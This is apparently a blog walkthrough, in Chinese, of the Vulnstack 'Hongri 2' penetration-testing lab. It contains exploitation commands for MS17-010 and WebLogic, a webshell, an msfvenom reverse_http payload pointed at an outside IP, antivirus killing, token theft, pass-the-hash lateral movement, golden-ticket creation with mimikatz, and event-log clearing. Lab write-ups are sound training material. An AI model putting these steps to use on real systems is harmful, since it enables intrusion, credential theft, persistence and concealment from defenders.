Vulnstack红日靶场(2)

本文最后更新于:6 个月前

环境搭建

外网打点

ms17-010

先对192.168.139.80ip进行信息收集

端口扫描:

1
nmap -sV 192.168.139.80

扫描结果如下,注意到开放了80,3389,7001这些端口

照例拿nmap先粗跑一下

1
nmap -script=vuln -p80,135,139,445,1433,3389,7001 192.168.139.80

扫到了ms17-010,可能存在永恒之蓝利用

msf开启进行尝试(其实这里并不建议直接从永恒之蓝开始,永恒之蓝存在把目标主机打宕机的风险,因此最好在最后进行)

1
search ms17_010

1
2
3
4
5
6
use 0
set rhosts 192.168.139.80
set rport 445
set payload windows/x64/meterpreter/bind_tcp
options
run

ms17-010并不是万无一失的,这回便攻击失败了,于是尝试其他切入口

weblogic

注意到开放了7001端口,这是Weblogic服务跑的端口,可能存在Weblogic反序列化漏洞,

拿scanner扫一下

1
python ws.py -t 192.168.139.80:7001

是可以扫到比较多的可能存在漏洞的

使用DeserializeExploit.jar来直接跑exp,成功跑通

用另外一个工具上马会更便利一些,在不熟悉weblogic目录结构的情况下方便直接传马,上传冰蝎的初始马,不知道为什么使用加密后的jsp马全都没法连上(哭

上冰蝎连,这里我把默认密码修改过了,要是没做改动的话应该是rebeyond

冰蝎成功连上了,

上线CS

生成一个CS反向马传上去,不过好像因为我的CS是4.9的,靶场内的360版本比较古早了,所以直接给原先的360绕过去了?并没有触发360的拦截(后追:其实是因为网卡配置问题导致没有联网的缘故,其实是会拦截下来的)

CS免杀

执行CS payload的时候,服务器直接报毒了,得浅浅做个免杀

在冰蝎运行木马文件

成功上线CS,并且拿到的是管理员的权限,又省了一步提权了

上线msf

先生成一个msf木马文件,简单编码一下

1
msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_http lhost=124.70.99.199 lport=2345 -i  15 -e x86/shikata_ga_nai -f exe -o payload.exe

———————先挖个坑,尝试了各种免杀加壳都被某数字拦下来了,日后学了免杀再回来补——————

拿到meterpreter之后,第一件事就是关闭杀软+进程迁移

1
meterpreter > run post/windows/manage/killav

进程迁移:

注入进程权限要高于等于被注入进程。迁移之前我们getpid能够看到当前进程的PID为1268,运行的是payload.exe的进程,还是很明显的.

迁移到explorer.exe的进程中,

1
meterpreter > migrate PID

进程迁移会自动kill掉原来的进程,要是没有被清除就手动kill

1
meterpreter > kill PID

提权还是CS用起来方便一些,把会话派生到CS:

1
2
3
4
5
use exploit/windows/local/payload_inject
set session ** #填写希望被派生出去的sessionid
set lhost ***.***.***.***
set lport **** #这里的lhost和lport均填写CS的监听ip和端口
run

成功上线到CS,没打ms14_058的补丁,可以直接提权机器用户

再把SYSTEM权限的会话派生到msf(红日1的文章有详细写)

内网渗透

信息收集

我是谁我在哪?

拿到了其中一台主机的权限后,先进行信息收集

ipconfig /all先收集一波当前主机的网络情况,可以拿到内网ip:10.10.10.80,以及当前所在域名de1ay

除了我还有谁?

进行端口扫描一下,portscan一个很好的地方就在于它会将嗅探到的主机记录在目标列表中

最终拿到的结果,内网网段下存有三台主机,三台主机对应的开放端口如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
10.10.10.10:5985
10.10.10.10:3389
10.10.10.10:636
10.10.10.10:593
10.10.10.10:464
10.10.10.10:445
10.10.10.10:389
10.10.10.10:139
10.10.10.10:135
10.10.10.10:88
10.10.10.10:53

10.10.10.80:3389
10.10.10.80:445
10.10.10.80:139
10.10.10.80:135
10.10.10.80:80

10.10.10.201:3389
10.10.10.201:445
10.10.10.201:139
10.10.10.201:135

并且在target上能够看到这几台同网段下的主机

net view收集域内的主机,一共有三台,DC,PC还有WEB,WEB是我们当前所在的主机

net view /domain收集域的信息,一共存在一个DE1AY域,

既然只有一个域,那就进一步收集当前域下的其他信息

尝试net group "domain computers" /domain来获取域主机,但是却出现如下情况

同样使用net group "domain controllers" /domain也是出现上面的问题,

分析原因:可能是因为administrator用户并不在域内,尝试net time /domain,结果不出所料也是出问题了,不过直接在虚拟机内打开cmd执行,发现可行,可行的用户身份是mssql

猜测就是Administrator不在域用户组里,我的weblogic服务是用管理员运行的,但是域用户实际上是mssql

去网上寻找原因似乎大家都没碰到这个问题,别人的Administrator是一开始就是域用户的,于是开始尝试自己解决

先跟着红日2的流程看看哪里有疏忽的地方,红日2的流程里有一项是Access Token的利用,在学习了一番之后,

Access Token伪造

令牌(token)是系统的临时秘钥,相当于账号和密码,用来决定是否允许这次请求和判断这次请求是属于哪一个用户的。它允许你在不提供密码或其他凭证的前提下,以令牌的身份来访问网络和系统资源

令牌有两种,一种是授权令牌(Delegation Token),这种令牌这种令牌通常用于支持交互式会话登录,例如本地用户直接登录计算机或者远程桌面登录访问,当用户通过交互式方式登录操作系统时,系统会为其创建一个授权令牌,其中包含了用户的身份信息以及所拥有的权限。这个令牌允许用户在系统中执行各种操作,包括访问文件、运行程序等,交互式登录的用户通常拥有较高的权限,可以执行各种系统操作,并且可以通过交互方式与系统进行交互。简单地说,这种令牌在登陆的过程中授予用户

另一种令牌是模拟令牌(Impersonation Token),当一个进程(通常是服务或应用程序)需要代表另一个用户或进程执行操作时,系统会为其创建一个模拟令牌。这个令牌允许进程在系统中以另一个用户的身份执行操作,而无需用户交互,模拟令牌通常用于服务进程执行后台任务,以及在系统中执行各种自动化操作,如访问网络共享文件夹、执行系统任务等,从作用上来看,我们需要的正是一张令牌,让我们的administrator以mssql的身份运行命令

因此如果能拿到mssql用户的access token就能成功伪造,我们就可以用mssql的身份去获取到域控对net user /domain等命令的执行结果了,

AccessToken的窃取与利用需要administrator管理员权限,恰巧此时我们的bacon身份刚好是administrator,

CS给我们集成好了一个令牌窃取利用的工具

创建令牌,在这之前需要先用logonpasswords抓取一些用户信息如密码以及哈希等

成功后user会携带着你刚刚创建的令牌用户

并也成功拿到了Impersonation Token

再次查看域控,顺利得到域控主机名DC

这里通过CS伪造Access Token其实还有两种方法,进程注入和token窃取(都需要Administrator或system权限)

打开当前用户的进程列表,很容易就看到右侧user列有几种不同的用户,分别代表这些进程在以哪些用户的身份运行着

进程注入,选中一个进程,这个进程的用户身份是我们希望以某身份运行指令的身份,比如此处mssql可能是域成员,因此我们就需要将进程注入到dwm.exe中(这里测试发现只有已经拿到了域用户令牌的administrator用户或者机器用户SYSTEM能够注入成功,否则会出现 ERROR_ACCESS_DENIED权限问题)

成功在新的bacon中执行与域控的交互,并且可以注意到这里whoami得到的用户身份是mssql

另外一种方法是token窃取,这种方法需要system的权限而不只是administrator

可以先使用ms14-058提权为system身份

拿到system的bacon,然后选中要窃取的进程,选steal token

也是能够顺利执行和域控的联系了,注意到的是inject是新起了个会话,而steal token使用当前会话窃取进程,不会创建新的会话

恢复到system的身份只需要在bacon执行rev2self即可

明确域控后,接下来的工作就是要得到DC的权限了

正向代理反向代理

横向渗透

实战中拿到一台机子的权限后先不急着打DC,多看看其他的机子,拿下别的主机做个备用,防止直接被发现掐网线了

直接上psexec打pth了

成功上线DC

pexec除了红日一的方式其实也可以在上了域用户令牌后执行jump psexec DC smb,smb是监听器

权限维持

黄金票据

现在使用web主机mssql用户上尝试访问域控的磁盘文件被拒绝,假设说后续域管发现了,及时修改了域控密码,这样我们的连接就丢失了,可能只剩下一个普通域用户的普通权限。金票可以在一开始获得域控权限之后拿到一张通行证,后续域控权限掉了之后也能够提供一个“通行证”来以域管权限来访问任意服务

金票所需条件:

1
2
3
1、域名称
2、域SID
3、krbtgt用户的hash

域名获取非常简单,net configworkstation查看工作站信息就可以拿到了

域SID

whoami /all,最后的-500是代表域用户身份(500是域管身份),需要的是域SID,因此取去掉-500前面的部分

获取krbtgt用户的hash

在域控DC使用hashdump来直接拿,

在mssql会话右键,凭证提权->黄金票据,将刚刚得到的信息填入其中

此时我们就能够获得域控的权限了

1
2
3
4
5
mimikatz privilege::debug		#特权模式开启
mimikatz lsadump::lsa /patch

mimikatz kerberos::purge #清除票据
mimikatz kerberos::list

白银票据

痕迹清理

干完坏事总是多少会留下痕迹的,在事件查看器中能够看到许多的日志

meterpreter中的clearev命令可以清除windows中的应用程序日志、系统日志、安全日志,需要管理员权

1
meterpreter > clearev

但是需要注意的是在安全日志中仍然会保留一份日志清除的日志

补充部分

踩过的坑

最开始环境搭建好了之后在三台虚拟机上却都无法执行net view,提示发生系统错误 6118

是的,是三台主机上都无法执行,意思是这个域环境压根就没弄好(为什么大家的红日都能一帆风顺而我把坑都踩了个遍啊QAQ

解决方案:使用管理员权限运行cmd,然后输入services.msc

然后打开三个服务:Computer Browser、Server、Workstation。这里是我三台主机的Computer Browser全都是关着的状态所以会gg,打开就好了

https://blog.csdn.net/m0_53579570/article/details/117282644

computer server

access token

1

关于信息收集参考:https://www.freebuf.com/articles/network/318148.html